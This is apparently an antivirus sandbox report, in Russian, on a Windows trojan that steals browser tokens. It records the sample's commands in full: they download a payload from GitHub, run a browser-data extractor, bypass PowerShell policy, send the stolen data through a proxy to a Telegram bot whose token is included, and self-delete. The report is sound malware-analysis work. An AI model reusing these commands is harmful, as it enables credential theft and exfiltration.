Trojan.Siggen32.60885

Техническая информация

Вредоносные функции

Запускает на исполнение

'<SYSTEM32>\taskkill.exe' /F /IM chrome.exe
'<SYSTEM32>\taskkill.exe' /F /IM msedge.exe
'<SYSTEM32>\taskkill.exe' /F /IM brave.exe

Внедряет код в

следующие пользовательские процессы:

msedge.exe

Изменения в файловой системе

Создает следующие файлы

<Текущая директория>\debug.log
<Текущая директория>\6a337ed8\payload.zip
<Текущая директория>\6a337ed8\temp_extract\encryptor.exe
<Текущая директория>\6a337ed8\temp_extract\chromelevator_arm64.exe
<Текущая директория>\6a337ed8\temp_extract\chromelevator_x64.exe
<Текущая директория>\6a337ed8\collect\info.txt
<Текущая директория>\6a337ed8\collect\ip.txt
<Текущая директория>\6a337ed8\extract.ps1
<Текущая директория>\6a337ed8\collect\tokens_debug.log
<Текущая директория>\6a337ed8\collect\valid_tokens.txt
nul
<Текущая директория>\6a337ed8\data\info.txt
<Текущая директория>\6a337ed8\data\tokens_debug.log
<Текущая директория>\6a337ed8\data\valid_tokens.txt
<Текущая директория>\6a337ed8\result.zip
<Текущая директория>\6a337ed8\curl_resp.txt

Присваивает атрибут 'скрытый' для следующих файлов

<Текущая директория>\debug.log

Удаляет файлы, которые сам же создал

<Текущая директория>\6a337ed8\collect\ip.txt
<Текущая директория>\6a337ed8\extract.ps1

Самоудаляется.

Сетевая активность

Подключается к

'gi##ub.com':443
're#########ets.githubusercontent.com':443
'x1.#.lencr.org':80
'84.#8.4.62':80
'ap#.#pify.org':443
'19#.#32.214.172':80
'31.##.20.176':6754

TCP

Запросы HTTP GET

http://x1.#.lencr.org/
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?e9##############

Другие

'gi##ub.com':443
're#########ets.githubusercontent.com':443
'ap#.#pify.org':443
'31.##.20.176':6754

UDP

DNS ASK gi##ub.com
DNS ASK re#########ets.githubusercontent.com
DNS ASK x1.#.lencr.org
DNS ASK ap#.#pify.org

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Создает и запускает на исполнение

'<Текущая директория>\6a337ed8\temp_extract\chromelevator_x64.exe' -v -f all
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "<Текущая директория>\6a337ed8\extract.ps1"

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/wubejack-cmd/jirom/releases/download/jirom/file.zip' -OutFile 'payload.zip' -UseBasicParsing" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://github.com/wubejack-cmd/jirom/releases/download/jirom/file.zip' -OutFile 'payload.zip' -UseBasicParsing"
'<SYSTEM32>\cmd.exe' /c powershell -Command "Expand-Archive -Path 'payload.zip' -DestinationPath 'temp_extract' -Force" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Expand-Archive -Path 'payload.zip' -DestinationPath 'temp_extract' -Force"
'<SYSTEM32>\cmd.exe' /c "<Текущая директория>\6a337ed8\temp_extract\chromelevator_x64.exe" -v -f all (со скрытым окном)
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe'
'<SYSTEM32>\cmd.exe' /c curl -s https://api.ipify.org > <Текущая директория>\6a337ed8\collect\ip.txt 2>nul (со скрытым окном)
'<SYSTEM32>\curl.exe' -s https://api.ipify.org
'<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -File "<Текущая директория>\6a337ed8\extract.ps1" (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c robocopy "<Текущая директория>\6a337ed8\output" "<Текущая директория>\6a337ed8\data\output" /E /R:0 /W:0 >nul (со скрытым окном)
'<SYSTEM32>\robocopy.exe' "<Текущая директория>\6a337ed8\output" "<Текущая директория>\6a337ed8\data\output" /E /R:0 /W:0
'<SYSTEM32>\cmd.exe' /c robocopy "<Текущая директория>\6a337ed8\collect" "<Текущая директория>\6a337ed8\data" /E /R:0 /W:0 >nul (со скрытым окном)
'<SYSTEM32>\robocopy.exe' "<Текущая директория>\6a337ed8\collect" "<Текущая директория>\6a337ed8\data" /E /R:0 /W:0
'<SYSTEM32>\cmd.exe' /c powershell -Command "Compress-Archive -Path '<Текущая директория>\6a337ed8\data\*' -DestinationPath 'result.zip' -Force" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Compress-Archive -Path '<Текущая директория>\6a337ed8\data\*' -DestinationPath 'result.zip' -Force"
'<SYSTEM32>\cmd.exe' /c curl -x 31.##.20.176:6754 -U tkyjxark:mbrwvmn0tqg1 -F chat_id=7593646943 -F document=@result.zip https://api.telegram.org/bot8673024720:AAFfLpxoLYKlNWMBlLmVtxJSVnmVebTrqvQ/sendDocument --ins... (со скрытым окном)
'<SYSTEM32>\curl.exe' -x 31.##.20.176:6754 -U tkyjxark:mbrwvmn0tqg1 -F chat_id=7593646943 -F document=@result.zip https://api.telegram.org/bot8673024720:AAFfLpxoLYKlNWMBlLmVtxJSVnmVebTrqvQ/sendDocument --insecure --...
'<SYSTEM32>\cmd.exe' /c rmdir /s /q "<Текущая директория>\6a337ed8" (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c cmd /c del /f /q "<Полный путь к файлу>" (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c del /f /q "<Полный путь к файлу>"